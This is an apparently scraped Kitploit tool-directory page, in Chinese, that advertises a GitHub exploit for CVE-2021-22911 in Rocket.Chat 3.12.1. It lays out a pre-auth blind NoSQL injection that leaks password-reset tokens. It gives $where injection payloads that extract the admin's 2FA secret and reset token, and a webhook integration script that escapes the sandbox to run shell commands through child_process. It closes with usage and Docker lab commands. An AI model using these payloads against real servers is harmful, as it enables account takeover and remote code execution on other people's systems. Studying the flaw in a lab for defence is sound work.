Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-22911 — Exploit for CVE-2021-22911: pre-auth blind NoSQL injection in Rocket Chat 3.12.1 enabling account takeover and remote code execution via webhook scripting. | Kitploit
工具/GitHubGitHub/mrdottt/cve-2021-22911
权限提升漏洞分析漏洞利用Web应用程序漏洞利用渗透测试远程访问工具
GitHubmrdottt/cve-2021-22911

CVE-2021-22911

Exploit for CVE-2021-22911: pre-auth blind NoSQL injection in Rocket Chat 3.12.1 enabling account takeover and remote code execution via webhook scripting.

查看仓库
123年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-22911

Rocket Chat 3.12.1 中的预认证盲注 NoSQL 注入导致远程代码执行

  • getPasswordPolicy 方法存在 NoSQL 注入漏洞,且无需认证/授权。攻击者可利用此漏洞泄露密码重置令牌,从而接管账户。接管管理员账户后可导致远程代码执行。

说明

  1. 劫持用户账户(未认证)
  • getPasswordPolicy 端点的密码重置 token 参数存在 NoSQL 注入,该参数接受 JSON 对象,允许使用 $regex 操作符。我们利用此漏洞执行盲注 NoSQL 注入以获取重置令牌。
  1. 特权提升至管理员(已认证)
  • 管理员账户很可能受 2FA 保护。因此,即使我们通过 (1) 更改了管理员密码,登录时仍会提示输入 2FA 验证码。
  • users.list API 端点的查询参数存在 NoSQL 注入漏洞。我们还可以通过抛出错误来检索数据。
  • 我们运行以下查询以获取管理员的 2FA 密钥:{"$where":"this.username==='admin' && (()=>{ throw this.services.totp.secret })()"}
  • 接下来,我们只需执行 (1) 重置管理员密码,并使用 2FA 密钥生成验证码即可登录。
  • 更新:您也可以通过检索 2FA 密钥的相同方式获取重置令牌:{"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}
  1. RCE(已认证 - 管理员)
  • Rocket.Chat 有一个名为 Integrations 的功能,允许创建传入和传出的 webhook。这些 webhook 可以关联脚本,在触发 webhook 时执行。
  • 我们使用以下脚本创建一个集成:
root@kitploit:~
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('command here');
  • 接下来,我们只需触发 webhook 即可获得 RCE :)

用法

  • 您需要一个未设置 2FA 的低权限用户的电子邮件。(-u)
  • 您还需要知道管理员的电子邮件。即使管理员受 2FA 保护也无妨。(-a)
root@kitploit:~
python3 exploit.py -u "[email protected]" -a "[email protected]" -t "http://rocket.local"

环境

  • 已在 Rocket Chat 3.12.1 上测试
  • 使用 Docker 构建自己的测试环境:
root@kitploit:~
docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1
  • 启用密码策略
  • 为管理员启用 2FA
  • 注册一个普通用户。

注意:如果您不希望管理员受 2FA 保护,可以执行以下操作。

  1. 发送忘记密码邮件
  2. 获取管理员的重置令牌
  3. 使用获取的重置令牌更改密码
root@kitploit:~
# Admin Account Takover [ No 2fa ]
forgotpassword(adminmail,target)
token = resettoken(target)
changingpassword(target,token)

致谢

  • https://hackerone.com/reports/1130721 ( sonar source )
  • https://blog.sonarsource.com/nosql-injections-in-rocket-chat

Exploit-db

  • https://www.exploit-db.com/exploits/49960 ( v1 )
  • https://www.exploit-db.com/exploits/50108 ( v2 )
下载工具